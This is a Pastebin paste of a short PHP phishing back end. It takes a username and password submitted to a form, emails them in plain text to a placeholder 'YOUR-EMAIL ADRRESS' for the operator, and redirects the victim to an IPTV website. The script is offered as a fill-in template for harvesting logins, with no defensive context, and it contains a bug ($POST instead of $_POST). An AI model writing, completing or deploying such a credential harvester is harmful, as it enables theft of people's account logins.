Advertisement
Guest User

Untitled

a guest
Aug 19th, 2019
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.51 KB | None | 0 0
  1. <?php
  2. function mail_sender(){
  3.   if (!isset( $POST['username']) || !isset($POST['password'])) {
  4.       // nu sunt prezente datele in POST
  5.       return false;
  6.   }
  7.  
  8.   $username = $POST['username'];
  9.   $password = $POST['password'];
  10.   $reciever = "YOUR-EMAIL ADRRESS";
  11.   $subject = "New user";
  12.   $message = "The username is ". $username;
  13.   $message .= " and password is ". $password;
  14.  
  15.   return mail($reciever, $subject, $message);
  16. }
  17.  
  18. if(mail_sender()){
  19.   header("Location: http://www.iptv.ro");
  20. }
  21.  
  22. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement